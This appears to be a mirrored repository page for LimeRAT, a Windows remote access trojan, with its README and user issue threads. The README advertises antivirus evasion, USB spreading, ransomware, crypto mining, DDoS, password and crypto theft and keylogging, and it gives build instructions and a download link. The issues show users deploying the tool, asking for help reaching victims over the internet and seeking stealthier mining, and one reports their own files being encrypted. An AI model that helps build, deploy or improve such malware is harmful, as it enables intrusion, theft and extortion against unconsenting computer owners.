Code Monkey home page Code Monkey logo

lime-rat's Introduction

Outdated. Archive it instead of delete it


LimeRAT v0.1.9

Remote Administration Tool For Windows


Description

Simple yet powerful RAT for Windows machines. This project is simple and easy to understand, It should give you a general knowledge about dotNET malwares and how it behaves.


Main Features

  • .NET
    • Coded in Visual Basic .NET, Client required framework 2.0 or 4.0 dependency, And server is 4.0
  • Connection
    • Using pastebin.com as ip:port , Instead of noip.com DNS. And Also using multi-ports
  • Plugin
    • Using plugin system to decrease stub's size and lower the AV detection
  • Encryption
    • The communication between server & client is encrypted with AES
  • Spreading
    • Infecting all files and folders on USB drivers
  • Bypass
    • Low AV detection and undetected startup method
  • Lightweight
    • Payload size is about 25 KB
  • Anti Virtual Machines
    • Uninstall itself if the machine is virtual to avoid scanning or analyzing
  • Ransomware
    • Encrypting files on all HHD and USB with .Lime extension
  • XMR Miner
    • High performance Monero CPU miner with user idle\active optimizations
  • DDoS
    • Creating a powerful DDOS attack to make an online service unavailable
  • Crypto Stealer
    • Stealing Cryptocurrency sensitive data
  • Screen-Locker
    • Prevents user from accessing their Windows GUI
  • And more
    • On Connect Auto Task
    • Force enable Windows RDP
    • Persistence
    • File manager
    • Passowrds stealer
    • Remote desktop
    • Bitcoin grabber
    • Downloader
    • Keylogger

Prerequisites

To open project you need:

  1. Visual Studio 2017
  2. This repository

Peek

Project

Ransomware

Critical Process


Plugin Example

VB.NET

'Easy to create a DLL plugin
Public Class Main
'Simple Msgbox
 Public Shared Sub CN(ByVal H As String, ByVal P As Integer, ByVal K As String, ByVal SP As String, ByVal PW As String, ByVal FP As String, ByVal HW As String, ByVal BT As String, ByVal PB As String)

  Msgbox("Hello Client!")

  Send("MSG" + SPL + "Hello Server!")
  'Client will send msg back to server, MSG will be showen in [LOG] Tab
	
 End Sub	
End Class

C#

public class Main
{
    // Simple Msgbox
    public static void CN(string H, int P, string K, string SP, string PW, string FP, string HW, string BT, string PB)
    {
        Msgbox("Hello Client!");

        Send("MSG" + SPL + "Hello Server!");
		// Client will send msg back to server, MSG will be showen in [LOG] Tab
    }
}

Testing

  1. Open "LimeRAT.sln"
  2. Set Compiler to "Debug" mode
  3. On Solution Explorer, Right click on "Solution LimeRAT Project" and press "Rebuild Solution"
  4. Press Run button. be aware that both client and server are localhost

Compiling

  1. Open "LimeRAT.sln"
  2. Set Compiler to "Release" mode
  3. On Solution Explorer, Right click on "Solution LimeRAT Project" and press "Rebuild Solution"
  4. Everything will be under "\Project_EXE\Release"
  5. Convert stub.exe to stub.il, using Ildasm

Download SRC and compiled version

https://github.com/NYAN-x-CAT/Lime-RAT/releases

This project was only tested on local-lab[LAN]. I did not test it on external-lab[WAN].
Server tested on Windows 10, Client tested on virtual machine windows 7.

Notes

  1. While using ransomware, restore point won't be deleted unless payload is running hight privilege
  2. Anti-Kill (BSOD) won't work unless payload is running hight privilege

Found a bug? Please, report it here https://github.com/NYAN-x-CAT/Lime-RAT/issues/new


Author

  • NYAN CAT

Donation

Buy me a coffee!

  • XMR: 49H8Kbf15JFN2diG5evGHA5G49qhgFBuDid86z3MKxTv59dcqySCzFWUL3SgsEk2SufzTziHp3UE5P8BatwuyFuv1bBKQw2
  • BTC: 12hTx7u7AqdNr8qo4UFuLwb6XAVjoDioax

Support


Disclaimer

I, the creator, am not responsible for any actions, and or damages, caused by this software.

You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.

This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.

By using this software, you automatically agree to the above.


License

License

This project is licensed under the MIT License - see the LICENSE file for details

lime-rat's People

Contributors

nyan-x-cat avatar nyrotication avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

lime-rat's Issues

Password stealer doesnt work at all

The password doesnt work at all i open the plugin gui and there is nothing there. the client is running as admonistrator on windows 10 x64
Looks like this:
default

Stability and connection problems

I have tested v0.1.8.4 with 10 clients and the problem persists.
I close the server and when opening it only 1 client is connected, in some cases the client never connects.
I have checked the connections of the process with netstat, in two clients there is a connection through port 443 to an IP of one proxy (cloudflare) and another one to pastebin, both for the same process...

https://m.imgur.com/a/kmcdEU2

PasteBin

How can i change pastebin link to normal Ip and port type? cause when i don't have network and want to test it need to download pastebin string if you can help me with it or modify a private source for me to enable that feature i will be so glad.

Problem with pastebin link

Sometimes when i click check url, it drops an error.
I fixed on the src anyway.
If you need help devolping let me know

Port seems to be blocked error

I got this error that says that port xxxx seems to be blocked, even after adding to firewall exception.

But that port is open 100%, and firewall is off.

Any advice?

Info version .Net in client

This does not refer to a fault, but a request.

If it is possible to show information about the highest .net version that exists in the client.
This can help us when making updates and using other .net tools.

Thanks for your work, planned to make a donation.

hey,man~how should i setting this ip

I am chinese,please tell me what should i setting my pastebin text of ip and port,i have wacth your video ,but your video is test on local,i have try it,and it success,but when i test on my public computer,it can't receive a session.what's the problem.Looking fo
2
3
4

rward to your reply.Very thankful~~~

trying to access A: drive with no reason

when i installed it in my friend's pc (he knew that, nothing illegal) he reported to me seeing errors from trying to access A: drive nothing was connected there.

image
P.S sorry its in greek

Bug Still Not Fixed on Update

I reviewed the code but the bug is not yet fixed to verify i just edited the Form1.vb from D.ShowDialog() to Show()

                 'fix
                    D.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
                    D.Show()

If you will fix it i will help yo adding the Remote Desktop ;)

Some suggestions for improvement

  1. Add and ability to edit the regedit from the program without any popup (maybe add the ability to load a .reg file)
  2. add a feature that can track cpu/ram usage in a whole (like task manager)
  3. ability to change settings like, beeing able to turn spreading on/off, pastebin link etc(edited)
  4. maybe the ability to see how much h/s a user has when he is mining
  5. maybe add a feature that auto updates the ip on pastebin (idk if this is possible, but i think its possible thru API)
    If these ever happen it would be a massive update

Build issue

Use "Release" compiler in both solution
Execute "Server_0.4\Server_0.4\bin\Release\Lime Worm.exe"
Copy "Client_0.4\Client_0.4\bin\Release\Stub.exe", To "Server_0.4\Server_0.4\bin\Release\Stub\Stub.exe"

just fallowed this steps, and tried to build WORM.exe but i dont see any option like build or how i can build it ??

Screenshot-
https://prnt.sc/itq9al

Помогите

не компилируется stub.il как исправить

Index was outside the bounds of the array.

Hello.

I want to see the network traffic without encrypting it.

So, I deleted the C_Encryption.vb file on the server and client.

And I modified the part that depends on the AES function.

After the modification, I used DownloadExecute.

Then, looking at the network traffic, an error occurs.

Is this normal?

Server -> Client Network packet:

RU-|'L'|http://www.freeimages.co.uk/galleries/res/images/feature_office.jpg|'L'|1.jpg|'N'|

Client -> Server Network packet:

MSG|'L'|Error! Index was outside the bounds of the array.|'N'|

err

Modify source code: source.zip


C:\Lime-RAT-master\Project\Server\Classes\S_Socket.vb	
C:\Lime-RAT-master\Project\Server\Forms\Main.vb	
C:\Lime-RAT-master\Project\Client\C_Commands.vb
C:\Lime-RAT-master\Project\Client\C_Socket.vb

Thanks.

Connection stabillity issues

So I found that the client disconnects after some time and doesn't connect back. As you can see here, the process is running, the Pastebin IP and port are valid, but nothing in the GUI. I have waited about 15 mins and still nothing

image

But after terminating the client from the task manager, and reopening the exe, it showed just fine, as you can see on this image:

image

I don't know what might be happening, I never had this issue with 0.1.8.1. I think that its something that needs to be fixed.
P.S This happened to me in both v0.1.8.2F and v0.1.8.3C both on Windows 7 x64 and Windows 10 x64
Here are my specs:

image

I suddenly Encrypt my computer with lime rat Rensomware

How do i decrypt all my files i discrypted but they are not the same what do i do i think i apply encrypter many times as it was not looking to be working but the encrypter also
encrypt my descrypt code :'( plz help me sir looking for solution

yow cat and pro simple question

if i persistence the victim even the antivirus updated the trojan will never remove? cuz i tried it bruh they using kaspery its detected but kaspery not removing it...

Please help. Don't connect

The server does not see any clients. Even on localhost. I do everything according to the instructions. I'm building new-client.exe, I registered ip in pastebin but the server still completely refuses to see the client. I run the server on windows 2012 server. Client on win7 / 10

помогите мне

https://pastebin.com/
как сделать эту url для bild ?
Help mi
или как сделать через noip dns чтобы работала программа
пожалуйста у меня динамический ip

Fix File Manager

There is no option like '...' to goto upward/back directory
everytime had to close and open it again

Port 8989 always closed

Port 8989 closed despite window firewall opened and port 8989 opened on canyouseeme.com
What could be the issue?
Am I the only one experiencing this?

Miner options

The miner works well, these are some possible improvements.

The miner does not install on the client, so I have to run it from the server every time the system is rebooted.

In addition it is not hidden in the task manager which makes it easily detectable by the user.

Port Closed Message Despite Being Open

I receive the following message:

Port X seems to be blocked
Do you want to add LimeRAT into firewall exception

Windows Firewall and my antivirus are disabled. I have also added exceptions. Also checked my router's firewall settings. I suppose it could be an issue on my end.

fw

er

Clipper

can you check seems not to be working on my side
windows 10 pro

Help!!!

Bro please help me, I followed your steps , tried serial times ,but anytime go error ,I think it's a good software to learn ,can you record some videos to show how to build it ?

Download and execute

I do not know if this function is already running like this...
download the payload and execute it in memory without dropping it on the disk and without encrypting the payload?

Same as Lime Downloader.

Cannot Add Normal Form

If we need to add a non modal Form using simply this:

Dim Form As New Form4
  Form.Show()

It would simply Show a non responding Form if i add
Form.ShowDialog()
it works but it wont get all the features as a non modal Form how can i make it work as normal .Show() ?

To Be More Specific The issue is in the following in the file:

Form1.vb

When it receves the message from the client it wont open the any kind of not Modal Form it would just get stuck on Loading and not Responding so if i do:

 Private Sub S_Data(ByVal u As USER, ByVal b() As Byte) Handles S.Data
        Dim DATA As String() = Split(BS(b), RKEY)
        Try
            Select Case DATA(0)
Case "ANY"
        Dim Form As New Form4
              Form.Show()

Form.Show() would get stuck seems like if some loop is running so it blocks the form to run
Please look at your code and see what is wrong
Best Regards

Remote Doesn't work at all

the Remote desktop feature doesn't work.
Keyboard and mouse option work well, but the remote screen, is basically stuck on this gray screen
image

Downloader not working

Hey,
When I tried adding direct download link to downloader part of RAT and tested client out, it gets error cannot start or run due to incompatibility with 64-bit windows, but once I try running exe directly it works.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.